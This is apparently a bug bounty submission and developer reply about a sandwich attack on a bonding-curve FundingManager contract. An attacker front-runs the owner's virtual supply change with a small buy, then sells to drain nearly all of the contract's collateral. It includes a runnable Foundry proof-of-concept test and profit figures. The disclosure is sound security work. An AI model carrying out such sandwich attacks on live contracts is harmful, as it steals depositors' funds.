Sandwich attacks can empty `FundingManager` upon owner set virtual supply changes

[hats-bug-reporter[bot]]

Github username: @0xfuje Twitter username: 0xfuje Submission hash (on-chain): 0xbc05ca83aef5a2599fc1c89743a3e255bea8562a89d7a7b6a579cdbd9367cb96 Severity: high

Description:

Impact

Potential total loss of collateral funds in BondingCurve FundingManager.

Description

The problem is that the FundingManager's balance does not necessarily reflect it's virtual collateral and issuance supply. When these values are changed without organic buy and sell orders via setVirtualCollateralSupply() or setVirtualIssuanceSupply(), the total amount of change can be sandwiched risk-free by an attacker.

FM_BC_Bancor_Redeeming_VirtualSupply_v1 - setVirtualCollateralSupply()

    function setVirtualCollateralSupply(uint _virtualSupply)
        external
        virtual
        override(VirtualCollateralSupplyBase_v1)
        onlyOrchestratorAdmin
    {
        _setVirtualCollateralSupply(_virtualSupply);
    }

Attack scenario

This is just a specific scenario, the issue affects setVirtualIssuanceSupply as well and is meant to be a general submission for sandwich attacks regarding owner set virtual supply changes.

1. Funding manager is initialized
2. Users fund the funding manager and mint issuance tokens via buyOrders up to 100e18 of collateral tokens
3. This means current virtual collateral supply is at 100e18
4. Orchestrator owner raises the collateral supply to 10000e18 via setVirtualCollateralSupply (e.g. plans to manually transfer those tokens after this TX so payment based modules can have enough funds to take from FM)
5. Attacker front-runs setVirtualCollateralSupply with a minimal amount of 1.1e18 buyOrder(), note that this will be worth substantially more after the new collateral supply has been set
6. Owner's tx executes and collateral supply has been raised
7. Attacker back-runs with a sell off of their recently bought issuance tokens, which will empty the FundingManager almost completely

For practical numbers with an example of BNB:

• Initial fund of FundingManager: 100 BNB - $58000 with current prices
• Attacker's required upfront capital: 1.1 BNB - $640
• Attacker's final balance: 101.1 BNB - $58756 - only the dust amount due to rounding will remain in the FM contract

Note that the final profitability is affected by the measure of virtual supply change but the attacker will always gain back all of their spent capital + change profitability. This is the same scenario as in the coded proof of concept.

Proof of Concept - Coded

1. navigate to FM_BC_Bancor_Redeeming_VirtualSupplyV1Test.t.sol
2. copy and paste the below proof of concept

3. run with forge test --mc FM_BC_Bancor_Redeeming_VirtualSupplyV1Test --mt testSupplyChange_Sandwich -vvvv

   
   function testSupplyChange_Sandwich() public {
       //  SETUP START
       // fundingManager initialized and used by funders
       address haxor = makeAddr("haxor");
       address funders = makeAddr("funders");
   
       // we simulate previous activity with funders transferring
       // collateral tokens and minting issuance tokens
       uint fundersBuyAmount = 100e18;
       _prepareBuyConditions(funders, fundersBuyAmount);
   
       vm.prank(funders);
       bondingCurveFundingManager.buy(fundersBuyAmount, 0);
   
       emit log_uint(bondingCurveFundingManager.getVirtualCollateralSupply());
       emit log_uint(bondingCurveFundingManager.getVirtualIssuanceSupply());
       emit log_uint(bondingCurveFundingManager.getStaticPriceForBuying());
       // SETUP END
   
       // 2. haxor front-runs setVirtualCollateralSupply() with a small buy
       // (the helper function buys these funds via buy order)
       uint haxorAmount = 1.1e18;
       _prepareSellConditions(haxor, haxorAmount);
   
       // 1. owner raises virtual collateral supply
       vm.prank(admin_address);
       bondingCurveFundingManager.setVirtualCollateralSupply(10_000e18);
   
       emit log_uint(bondingCurveFundingManager.getVirtualCollateralSupply());
       emit log_uint(bondingCurveFundingManager.getVirtualIssuanceSupply());
       emit log_uint(bondingCurveFundingManager.getStaticPriceForBuying());
   
       // 3. haxor back-runs with a sell off of their front-run issuance tokens
       //  effectively draining the contract (only leaving dust amount)
       vm.prank(haxor);
       bondingCurveFundingManager.sell(10_921, 0);
   
       uint haxorBalance = _token.balanceOf(haxor);
       uint fundingManagerBalance =
           _token.balanceOf(address(bondingCurveFundingManager));
   
       emit log_uint(haxorBalance);
       emit log_uint(fundingManagerBalance);
   
       // attacker has got all of the FM funds and their initial capital
       assertGt(haxorBalance, 101e18);
       // note that dust remains in funding manager
       assertLt(fundingManagerBalance, 1e16);
   }

Recommendation

Recommendation and additional commentary about the issue will be added in comments.

[FHieser]

We had a hard time deciding on this. Here is our reasoning: In general the modification of the virtual supply is by design. Introducing a virtual supply opens up the whole design space for experimenting with the BC, which is what the BCRG wants. This however could introduce unwanted behaviour which is assumed the one pulling the leavers is aware off. The example you brought up is really extreme and quite an edgecase. The virtual Supply you set was 100x the original funds which has quite an impact on the math here. But you are right even if the SetVirtual Amount isnt as high its still highly abusable. In general the addition of the Virtual Supply functionality is seen by us as a feature that should allow for experimentation, but shouldnt be used in a typical BondingCurve usecase. That means we have a High Impact and a Low Recurrence, which would bring this to a Medium find.